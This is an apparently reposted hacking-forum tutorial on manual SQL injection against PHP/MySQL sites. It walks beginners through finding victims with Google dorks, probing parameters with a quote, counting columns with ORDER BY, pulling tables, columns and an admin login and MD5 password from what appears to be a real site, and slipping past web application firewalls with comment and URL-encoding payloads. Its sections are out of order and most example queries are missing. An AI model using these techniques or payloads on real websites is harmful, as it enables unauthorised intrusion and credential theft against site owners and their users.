Myanmar H4x0r

---

SYSTEM VARIABLES
Again the query for getting VERSION, USER and DATABASE:

I already explained that VERSION(), USER() and DATABASE() are system variables. But of course these are not the only ones.
Note that the variables are not always the same on different SQL-server (MySQL,MSSQL,PostgreSQL,...)!
The next thing is: be smart and creativ! For all SQL-server you will find tons of information in the world wide web. 
For MySQL i strongly recommend https://dev.mysql.com/ again. You will find all infos about MySQL-servers in there. BOOKMARK THIS!

Some examples of other sytem variables for MySQL-servers are:
@@VERSION_COMPILE_OS // operating system of the target-server
@@HOSTNAME // hostname 
@@DATADIR // you see we also can get some info about folder structure
@@LOG_ERROR // location of the error logging file

Some synonyms for EQUAL output:
VERSION()
@@GLOBAL.VERSION
@@VERSION

USER()
CURRENT_USER()
SYSTEM_USER()

DATABASE()
SCHEMA()

ALTERNATIVE QUERIES FOR SAME RESULT
We can grab the same information from different locations in the INFORMATION_SCHEMA database. 
This helps when some keywords are filtered by a WAF or similar. Some examples listed below:

examples for alternative queries for finding all databases:

examples for tables:

for columns:

Keep that in mind and take the time to check all tables of the INFORMATION_SCHEMA database: https://dev.mysql.com/doc/refman/5.0/en/...chema.html
And remember: THIS SYSTEM DATABASE IS ONLY AVAILABLE IN MYSQL VERSIONS 5 AND ABOVE!

GRAB DATA FROM OTHER DATABASES
I will show you now how to pick data from other databases than the current. 
Let‘s say the other database (not the current) is called test and it has a table called member with columns named id and name.
The queries to receive the results would be look like this:

Tables:

Columns:

Data:

Explanation:
The first two queries are similar than the ones of the UNION tutorial part. Again with HEX the database name (test) and the table name (member). To receive the data(values) of the table member (situated in database test) we change the FROM part to:
FROM DATABASE.TABLE = FROM test.member (again no need for HEX when grab data directly)

FIND OTHER DOMAINS ON SAME SERVER
If you got a special target but it is not vulerable you can try to find other domains located on the same server and try to inject them to maybe grab data of your prefered target! 
This search technique is called "Reverse IP Lookup".
Check this page and enter your target domain adress in the input field: Reverse IP Domain Check

COMBINE STATEMENTS
Now you already now how injection queries work but you dont know how to combine these functions in one column. For that we use various functions. I will explain the most used one:CONCAT()

Explanation:
CONCAT() - „Returns the string that results from concatenating the arguments“.
So with that MySQL string function we can combine as much queries as we want and they will all fit in one vulnerable column. 
NOTE: We have to seperate each select query with a comma!

WAF BYPASS
Web Application Firewall means a software (a script, e.t.c.) which try to prevent SQL injections (for example). It works in different way‘s and each WAF is different in most cases. A WAF mostly filter keywords, for example SELECT, UNION, FROM, WHERE and so on...(it depends on the WAF what exactly is filtered). Some WAF‘s are easy to bypass, some unbreakable, you will see many times such WAF‘s in work. I now will list you some basic ways to bypass a WAF. We have some very detailed tutorials about that topic and i will link them after a short explanation:

C-style comments:
Many WAF‘s are coded in programming language C. So sometimes we can easily bypass such WAF‘s with putting the words in comments of this programming language:

UNION ALL /*!SELECT*/ 1,2,3,4,5,6,7,8
UNION ALL /*!500000SELECT*/ 1,2,3,4,5,6,7,8
/*UNION*/ ALL /*SELECT*/ 1,2,3,4,5,6,7,8

URL encoding:
This you may seen when URL‘s where transmitted. Basically it means convert char‘s to HEX and put a % in front:
%75nion all %73elect 1,2,3,4,5

Example of a SELECT query with some keyword chars URL encoded:

COMMENT OUT THE ORIGINAL QUERY
Sometimes we need to comment out the original query. I used the two -- (at the end of the injecting query) for that in our example. 
That is mostly used for INT based queries. For string based mostly used is --+- or %23. Below some other you can try:

TOOLS
Dont use any automated tools (like Havji or sqlmap)!!! Do it the manually way with the URL bar of your browser. 
For a lil help you can try the mozilla Hackbar: 
https://addons.mozilla.org/de/firefox/addon/hackbar/. 
I did a lil modification of that extension. If you want you can check it out here:
[TOOL] t.PRO Hackbar mod 1.4.2 [/TOOL]
credit:T-pro

---

The first and easiest function is receiving data through system variables. These variables are predefined on the SQL-server and will give us some nice BASIC INFO about the server. Lets try to get the SQL-server version, the current user and the database name of the given original query. You know from above how to display the vulnerable colums on screen (UNION STATEMENT). Now we inject our system variables directly into these vulnerable columns in our URL. Remember: vulnerable columns are COLUMN 3, COLUMN 4 and COLUMN 5...

Result:


VERSION() = 5.1.70-cll // The MySQL-server version the server is running
USER() = devartch_apropos@localhost // The current database user (Scriptuser)
DATABASE() = devartch_apropos // The current database (The current script uses)

congrats to your first injection with UNION  ....ok i admit its not a huge DUMP but this is important cos:

UNION BASED SQLI splits into two main ways: Injection in MySQL-server version 5+ above and MySQL-server version 4- lower.
Thats why the first thing to check is the SQL-server version with system variables!

---

---

VERSION 5:
The main difference between version 5 and version 4 of SQL-server is that version 5 and above has a INDEX-DATABASE for all user databases, tables and columns. Its basically a system database (beside all other user databases) that stores information and structured data about all databases,tables and columns of the user. This INDEX DATABASE is calledINFORMATION_SCHEMA. It is installed with all MySQL-server versions 5 and above. If the admin going to create some database, the SQL-server will automatically store information about this created database in the INFORMATION_SCHEMA database.

In the INFORMATION_SCHEMA database the MySQL-server automatically save things like:

• The name of each database the user created
• All table information of that databases (names, columns, rows,...)
• All column information for each table of all databases

BUT it do not store the data(values) of the tables itself. The data of each tables (values) of course are stored in the tables itselfs.
Maybe a lil confusing but you soon will see clear....

So yes you are right - that sounds like heaven:
a huge index where we can trace, locate & identify the complete structure of the user databases! And it is like that! :cool:

VERSION 4:
Guy‘s here comes the hard part:
Unfortunately such a INDEX DATABASE like in version 5 does not exist in version 4  
The table and column names are not easy to get, cos there is no index where we are able to reach them. WE HAVE TO GUESS THOSE NAMES.
That can be time intensiv and its not funny BUT possible! I think the version 4 and lower will getting less and less but sometimes you will see such a target in the wild.

Basically that‘s it about the main difference (sure there are more, but for injecting thats it)
We now go forward with our example target cos it is version 5+

---

---

After we are getting the vulnerable columns on screen and we get the basic info via system variables, the next step is to get the table names.
We know our target is version 5+ and there is a database where we are able to get those information called INFORMATION_SCHEMA.

So lets try to get the tables of our target...

The injection query for getting the table_names is:

So let's fit this into a vulnerable column, i pick number 4 for that:

--> SUCCESS! Now you see all table_names listed on the page separated with commas:


SQL-Query explanation:

That means the SQL-server SELECT all table names FROM the index (INFORMATION_SCHEMA).
Because we only want the table names of the current DATABASE() we use a WHERE-CLAUSE for this.
table_schema = the column name of the INFORMATION_SCHEMA.TABLES table where all Database names are stored.
So basically the SQL-server matches all stored values in the table_schema column with our database name (devartch_apropos) and will give us only the table_names of the current DATABASE().

Injection-Query explanation:

You noticed in the URL above that we have to do some changes before we are able to inject the SQL SELECT query.
We have to put the query in brackets ( WHOLE SELECT QUERY ABOVE ) to inject in in one vulnerable column.
We also have to use the MySQL function GROUP_CONCAT() otherwise we would get a error that our SUBQUERY return more than 1 row.
If we GROUP the results we are able to receive all data through one SELECT query!

For any further information about this SQL function you can check:
http://dev.mysql.com/doc/refman/5.6/en/g...oup-concat

Next step is to pick a table you are interested in and get the column names of it - i would say let's pick table „user" :oui:

The injection query for getting the column_names is:

The URL look like this:
--> VOILA! These are the column names of table „user“:


SQL-Query explanation:

That means the SQL-server SELECT all column names FROM the index (INFORMATION_SCHEMA).
Because we only want the column names of the table name "user" we use again a WHERE-CLAUSE for this.
MySQL now give us all column names of the table „user".

Injection-Query explanation:

As you see again the GROUP_CONCAT() function that i have already explained above (Group the results).
NEW IN HERE: we put the table name we choosed in HEX-FORMAT: 75736572 = user (u=75 s=73 e=65 r=72). 
We have to tell MySQL that we will use HEX and we will do this with put a 0x in front of the HEX VALUE. 
So finally the table name „user“ in hex is built: 0x75736572

NOTICE: this function is CASE SENSITIVE so "user" is not "USER".
In HEX you will get two different results (user = 75736572 / USER = 55534552)
How to convert Strings to HEX?: Online converter

Now let's dump the data of this columns!

NOTE: You will get some admin/login data in next step. I dont know if they are working to login for any panel. I havent tried and i will not try!
Do me a favour and to the same. Leave it as it is. This is a tutorial for educational purposes only and other user will also learn from this in future! You get enough vulnerable pages in SQLI-section, with dorking, with pastebin lists and so on....you dont have to "hack" this tutorial-example. I thought it would be nice to grab some user/password data for the first injection, if you think the same than you now how to act ;) ...stay HQ friends!

Ok guy‘s query for dumping the data:

Injection URL:
--->VOILA! You get a user name and a password (no more user stored in there):


SQL-Query explanation:

The SQL-server now SELECT all VALUES of the columns "name" and "password".
We dont need the INFORMATION_SCHEMA database cos we now know table name AND column names, in this case we can driectly reach the values without using the INFORMATION_SCHEMA.

Injection-Query explanation:

We need no WHERE-CLAUSE and no need for HEX any string (we directly grab the data and we are now knowing each column name and the table name).
Only the GROUP_CONCAT() we need again to group the results.

The password is a MD5-Hash. I will not cover cracking of hashes. 

That was your first successful UNION BASED SQL INJECTION with a MySQL-server version 5.xx and the PHP framework! CONGRATS :thumbsup:

---

---

So guys now it‘s time for another injection technique called ERROR BASED SQLI.
In some cases that work faster for us or some guy‘s just simply like that more. With this injection technique we stuck with our results directly in the error-message of the server! I will use the same target for this.

Get the version:

Get tables:

Get columns for our above union based example table user:

Values of columns name and password of table user:

NOTE:
In error based SQLi we are limited in output (because of we stuck in MySQL error message). 
To get more results than one table name you have to change the LIMIT PART in each query above: from LIMIT 0,1 to LIMIT 1,1 and than LIMIT 2,1 and so on 

credit:T-pro

Hey guys,

i wrote this in the past for another forum BUT its deleted there so before its getting lost in my trash i decided to leave it in here exclusiv  maybe some noob need it some time! It was a hard work and somebody has to see this 

---

I know we already got some GOOD BASIC TUTORIALS and i will link them as i also link some good tuts about further information. 
So any new member should be able to find interesting information about all SQL INJECTION related topics in this thread.

*english is not my native language - if you face any language related issues, feel free to hit me up with a PM!

again: its a NEWBIE thread, so other can leave!

---

First of all: I WILL NOT COVER THE BASICS OF THE STRUCTURED QUERY LANGUAGE!
I assume some basic knowledge about SQL, websites, queries and some database management.
In best case you are a webadmin and you came from managing some CMS like Joomla!, wordpress or similar.
Maybe you have some PHP knowledge or similiar. That may help you!

To cover the basics of SQL you can check this:
http://www.w3schools.com/sql/default.asp

So now you already know how SQL works and how databases where setted up - but you dont know how to inject them.
The way to inject depends on several things like: what SQL-server is the target running and wich framework use the website?
That we have to figure out before we can start to exploit it! The Framework is the programming-language of the Website and the SQL-server is the software that is used to store data and manage databases on the server. So the framework is used in order to built the website and to transmit SQL queries TO and receive results FROM the SQL-Database-Server.

Different SQL-Database-Server: MySQL, MSSQL, Oracle, PostgreSQL, Ingres, Db2...
Different frameworks: PHP, ASP/ASPX, JAVA ...
Different server: Linux, Windows,...

In this tutorial i will "only" cover MySQL as server and PHP as framework but basically you can come across different combinations.
The most commonly occurring combiniations are PHP/MySQL and ASP/MSSQL (Microsoft servers).

So what makes a website dynamic and how are the user inputs processed?

You may seen some url's like this:
example.com/index.php?id=1
example.com/index.php?book=hello_sql

The things after "index.php?" are PARAMETERS (id=1,book=hello_sql). In this case these are GET parameters.
You will come across some other parameters like POST paramater but for the beginning we use the GET parameter.
(GET parameters you directly see next after the URL. POST parameter you dont see, they where transmitted in the background)

These parameters are used to built requests to the SQL-server. 
So in this tutorial we will inject this webseite:

Target:
Injectable parameter: book

Table where the coder stores the data of each book called „shp_books":

Please remember that table. We will use it for the whole tutorial!

PHP query behind the scenes:

This is a INTEGER based query.

To navigate the webuser to the correct book and display correct data with a INT-query, the coder has built the URL i posted above:

Another possible solution for SAME RESULT is:

This is a STRING based query.

To navigate the webuser to the correct book and display correct data with a STRING-query, the coder would built the URL like this:
*%20 = space in URL encoding, cos browser likes no space so its encoded in %HEX
(but such a parameter does not exist in our target - i just wanted to show you another way for same result with another query.)
______
THIS HAS TO BE CLEAR FOR YOU.

If you dont understand this, you have to go back and learn the basics of SQL.

---

---

After the tutorial you may try to find another page for SQL injection (if you want to inject - skip this part and go on with our target)
Using Dorks is the best way for finding random sites. Dorks are basically modified queries for search engines. In this tutorial we use google for finding our targets. 

Let's start dorking ;)

As i said a dork is used to get a detailed search result that matches perfectly to what we are looking for.
(Special target topics like: health, shops, forums or a special combination/configuration of SQL-server and Framework.)
With dorks we are able to get results that are tailored directly to our search queries. In this tutorial we are looking for a website that use MySQL-server and PHP as Framework.

The most widely used one to find those is probaly this dork: inurl:index.php?id=
Go to Google and enter this dork above. You will see a result like this including our dork matches:


Explanaition:
The function "inurl:" tells google that we are looking for results in URL. So we dont search for text on page, or included images,
we directly want to search in the URL (link) of pages. In the first chapter we learned how a website interacts with the SQL-server (parameter). With "index.php?id=" we are getting two things in one result: All pages that have a website file called "index.php" in combination with a parameter called "id=".

Basically you have to be creativ when dorking!

For example if you looking for a page that might have a member area and use MYSQL-server you would do something like this:
inurl:index.php?member= or use inurl:login.php?id= or inurl:user_login.php?id=

you also can try to define the parameters with guessing things the coder might use for generating the links:
inurl:member.php?id=1 or use inurl:login.php?name=admin or inurl:panel.php?id=1

Of course there are many more options for dorking:
intext:some text in the website // searching for some text in a website (for finding specific contents)
site:example.com // searching directly in a specific domain
intext:some text in the website + site:example.com // combination of both for a better result / more specific result

After getting the basics you schould check this for a better understanding of building dorks:
Prepaired Dorks for you: 7000+ Dorks!

---

---

Ok first off all i want to work out something. You may often read about "find vulnerable column" but basically its not the column thats vulnerable!
A column is a column :yeye: ...you can save data (values) in it and thats it. Vulnerable is the PARAMETER that is used in the framework to built the query,
not the column itself! But of course we use that column (that the parameter uses) to inject through it - so thats why many people say "find vulnerable coulmn" and not "find vulnerable parameter" ...

But let's start :oui:

Back to our target from the opnening. This we will now use for injecting:
(the dork we could use to find it is: inurl:index.php?book=)

In a SQL injection we are adding malicious code to the exisiting URL! So we use the URL-Bar of our favorite browser for that and we will directly modify the URL itself. 
To check if the site is vulnerable we simply add a ' (single quote) after some parameter. I picked the "book" parameter for that:

Now you see a MySQL error directly on page:


Check the message in detail und you will see our used ' in the error message:


So that means our input was phrased with php interpreter and is directly send to SQL-server.
No input check and directly a response from SQL-server with a error message ...THAT‘S ... 
But at this moment we do not knowing much of the website only that it is MAYBE vulnerable. Time to try to go further and find our injection type...

---

---

As i said in the opening, there are several ways to inject but we only will use these two in this tutorial:

UNION BASED SQLI 
With this injection technique we get the most output. For huge dumps or much output as possible this is the best way. But it is not in all vulnerable sites possible. We need a direct page-output of the database values on the website (or in source code, e.t.c.). Sometimes this technique is not possible - so we have to switch to ERROR BASED SQLI.

ERROR BASED SQLI 
It is like the name said: Injection result in MySQL-Error directly on page (or source code, e.t.c.). But usually showing MySQL errors is turned of by the coder. It is basically a framework debbuging function for the testing of the website. After successfully finishing the website the coder schould turn off displaying those kind of errors - but sometimes we get lucky and see these errors! 

There are some more types and the above types also splitting into other sub-types (like TIME-BASED-SQLI or you may hear BLIND-INJECTION sometimes).
But in this tutorial we cover only the two above ones in the main way's - i will link you further information in second post

I will show you both injection types with one target! I prefer to use UNION BASED SQLI - so lets start with this (that's always my first try).

---

---

For UNION BASED SQLI we need the number of columns that are vulnerable.
(Another thing that is not 100% correct but i will explain later why the sentence "find number of vulnerable columns" isnt correct in all cases.
But its widly known as above so lets call it this way!)

To count the columns we can use several functions. I will explain the most commonly used called "ORDER BY". As you know from learning the basics of SQL there are two kinds of query we can have: INT based or STRING based. At this moment we dont know wich one is used in our example target. The ORDER BY url for both would look like this:

INT:
(we dont need a ' to inject here or build a valid query - thats why the PHP function mysql_real_escape_string or similar makes no sense in INTEGER based queries)

STRING:
(in string based injection we need the ' to build a valid query. BUT our target is INT based so lets go further with INTEGER BASED UNION SQL INJECTION)

Now we want to count the columns with our target. Let's start with a higher column number that hopefully does not exist and throw us some error (cos it dont exists):
--> BINGO!!! - you now see a error like this:


That means we ORDER the results BY column #100 but this column dont exists --> so MySQL-server response with above error message.

What we can do with this information? The error tell us 3 things:

• Query was interpreted correctly from SQL-server (we built a valid query!)
• it‘s an INTEGER based original query behind in the framework (otherwise SQL-server would response with a "wrong syntax" error cos the ' is missing in this case)
• column 100 does not exists

Now the plan is to count less column numbers till no error appear on page! 
--> still error but closer: 

(now we know there are less than 20 columns)
--> PAGE LOADS NORMAL! 
CONCLUSION: The column count has to be between 10 and 20 columns cos ORDER BY 20-- throws a error (20th column do not exist) and ORDER BY 10-- throws no error (min 10 columns exist)

Now let's count from 10 upwards till the error appear (step by step):
--> BINGO!!!:


Now we know this: With ORDER BY 10-- the page loads normal (10th column exist) and with ORDER BY 11-- page throws a error cos column 11 does not exist --> NOW WE KNOW THERE ARE 10 COLUMNS :)

We know the column count and now we have to build our UNION STATEMENT to inject queries and reciving data from the server.
I will not cover the UNION function itself, cos this is some further information that might confusing you.
Just a Short UNION workflow: UNION is used two combine the result of different SELECT queries as one set.
Thats enough for the start. Cos we work (inject) with a original page query we have to UNION our injection query to that original one!

The goal is to get some RANDOM NUMBERS on screen --> these are the injectable columns for us!
A UNION STATEMENT is build by the UNION function and the column count (we counted above) and will look like this:

But in most cases we have to NULL OUT the original query parameter. We can do this simply by nulling it:
* but in some cases you have to keep it and dont null it out

---> BINGO!!! We get our RANDOM NUMBERS directly on screen:

These are our vulnerable columns! Time to receive data from the server!Credit:T-Pro